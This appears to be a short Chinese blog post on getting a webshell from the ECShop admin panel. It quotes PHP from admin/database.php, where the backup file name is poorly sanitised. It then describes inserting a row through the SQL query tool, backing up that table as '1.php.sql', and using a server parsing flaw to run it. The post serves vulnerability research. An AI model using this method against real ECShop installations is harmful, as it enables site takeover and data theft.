Ecshop后台getshell

admin/database.php
[php]
if ($_REQUEST['act'] == 'dumpsql')

{省略若干

if (empty($_REQUEST['sql_file_name']))

{

$sql_file_name = $dump->get_random_name();

}

else

{省略若干

$sql_file_name = str_replace("0xa", '', trim($_REQUEST['sql_file_name'])); // 过滤 0xa 非法字符

$pos = strpos($sql_file_name, '.sql');

if ($pos !== false)

{

$sql_file_name = substr($sql_file_name, 0, $pos);

}

}省略若干

if (!@file_put_contents(ROOT_PATH . DATA_DIR . '/sqldata/' . $sql_file_name . '.sql', $dump->dump_sql))

{

sys_msg(sprintf($_LANG['fail_write_file'], $sql_file_name . '_' . $vol . '.sql'), 1, array(array('text'=>$_LANG['02_db_manage'], 'href'=>'database.php?act=backup')), false);

};
[/php]
备份数据库可以直接写出shell

我们可以insert一个shell

然后备份制定的表

利用数据查询

执行
[php]
insert into ecs_wholesale values(2,1,'',1,1,1)
[/php]
ecshop1
然后在进行备份ecs_wholesale 这个表

然后我们备份文件名设置成1.php.sql

利用解析漏洞

ecshop3

就可以获得一个shell了

ecshop

发表评论